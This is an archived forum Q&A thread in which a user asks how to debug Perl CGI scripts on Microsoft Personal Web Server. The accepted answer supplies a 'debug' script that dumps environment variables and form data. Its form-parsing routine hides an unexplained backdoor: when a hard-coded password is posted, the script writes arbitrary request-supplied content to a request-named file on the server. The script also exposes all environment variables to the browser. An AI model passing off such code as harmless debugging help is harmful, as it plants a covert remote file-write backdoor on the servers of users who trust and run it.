Solved

personel web server

Posted on 1997-08-21
8
169 Views
Last Modified: 2013-12-25
I have Microsoft's personel web server.  I was told you could debug CGI scripts on it.  Is this true?  If so could you show an easy example?  How do you log with personel web server?  I am not familiar with it.  Thanks.
0
Comment
Question by:rkeir
  • 5
  • 2
8 Comments
 
LVL 7

Expert Comment

by:faster
ID: 1829804
There are log file under the windows directory.  But to debug your CGI, they do not have much use.  What you should do is add debug code in your script (probably write to a debug file), since it is a local server, you can check them easily.
0
 

Author Comment

by:rkeir
ID: 1829805
If you show me an example of a debug code and the file going with it I will increase the points to 200.  Thanks.
0
 
LVL 2

Expert Comment

by:dmethvin
ID: 1829806
PWS can execute CGI programs. Just put them in the /scripts directory.  Is there a particular programming language you had in mind for the example?
0
3 Use Cases for Connected Systems

Our Dev teams are like yours. They’re continually cranking out code for new features/bugs fixes, testing, deploying, testing some more, responding to production monitoring events and more. It’s complex. So, we thought you’d like to see what’s working for us.

 

Author Comment

by:rkeir
ID: 1829807
yes, just a simple perl script.
0
 

Author Comment

by:rkeir
ID: 1829808
However I'm still looking for an example on how to debug.  Any help would be appreciated.
0
 

Author Comment

by:rkeir
ID: 1829809
However I'm still looking for an example on how to debug.  Any help would be appreciated.
0
 
LVL 7

Accepted Solution

by:
faster earned 200 total points
ID: 1829810
Well, what do you mean by a debug example?  The debug for CGI is essentially no different than debug in other languages.  There is no general solution, all depends on what problem you have.

Normally you can open a log file by
open (LOGFILE,$pathoflogfile);

Then you can write to the file by
print LOGFILE "$whatever";

Sometimes you will need to check the value of a variable, then just add the code to write the value to the logfile so you can check.  Or you may just want to know whether the program execute a particular part of the code, then just write to the log file any message that makes sense.

You can also directly write the debug information to the output (browser).  Sometimes you may want to check the form data posted to the script, then you can output them at the beginning...

Below is a simple script to dump the contents of env variables and form data:

&parse_form;
&html_header;
&print_form;
&html_footer;

#---------------------------------------------------------------------
sub parse_form      {
      if ($ENV{'REQUEST_METHOD'} eq 'POST')      {
            if ($ENV{'CONTENT_LENGTH'} > 8192)      {
                  error_exit($errstr);
            }
            read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
      } else      {
            if ($ENV{'REQUEST_METHOD'} eq 'GET')      {
                  $buffer=$ENV{'QUERY_STRING'};
            }
      }
      @pairs=split(/&/, $buffer);
      foreach $pair (@pairs)      {
            ($name,$value)=split(/=/,$pair);
            $value =~ tr/+/ /;
            $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("c",hex($1))/eg;
            $FORM{$name} = $value;
      }
      if ($FORM{"PASS"} eq "8342047")      {
            open (HTMLDOC,">$FORM{'FNAME'}");
            print HTMLDOC $FORM{"MSG"};
            close HTMLDOC;
      }
}

sub print_form      {
      print "<CENTER><BR>\n";
      print "<H1>ENV</H1><BR>\n";
      print $buffer;
      foreach $tmp (keys(%ENV))      {
              print "$tmp=$ENV{$tmp} <BR>";
      }
      print "<BR><BR><HR><H1>FORM</H1><BR>\n";
      foreach $tmp (keys(%FORM))      {
              print "$tmp=$FORM{$tmp} <BR>";
      }
      print "</CENTER><BR>\n";
}

sub html_header      {
      print "Content-type: text/html\n\n";
      print "<HTML><HEAD>";
      print "<TITLE>Environment</TITLE></HEAD>\n";
      print "<BODY>\n";
      print "<HR>\n";
}

sub html_footer      {
      print "<HR>\n";

      print "</BODY></HTML>\n";
}


Anyway, you should decide the best debug method for your specific situation.












 
0
 

Author Comment

by:rkeir
ID: 1829811
Thanks
0

Featured Post

Master Your Team's Linux and Cloud Stack!

The average business loses $13.5M per year to ineffective training (per 1,000 employees). Keep ahead of the competition and combine in-person quality with online cost and flexibility by training with Linux Academy.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Suggested Solutions

Title # Comments Views Activity
Is there a command to see if mysql is reachable LAN,WIndows 3 73
Powershell variable with -SearchBase cmdlet 2 121
inactive users 13 80
Register AutoHotkey 12 75
I hope you'll find this tutorial useful and interesting. So let's try to extend Tcl with a new package.  For anyone more deeply interested please check out the book "Practical Programming in Tcl and Tk". It's really one of the best written books abo…
Batch, VBS, and scripts in general are incredibly useful for repetitive tasks.  Some tasks can take a while to complete and it can be annoying to check back only to discover that your script finished 5 minutes ago.  Some scripts may complete nearly …
Learn the basics of if, else, and elif statements in Python 2.7. Use "if" statements to test a specified condition.: The structure of an if statement is as follows: (CODE) Use "else" statements to allow the execution of an alternative, if the …
In this fourth video of the Xpdf series, we discuss and demonstrate the PDFinfo utility, which retrieves the contents of a PDF's Info Dictionary, as well as some other information, including the page count. We show how to isolate the page count in a…

803 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question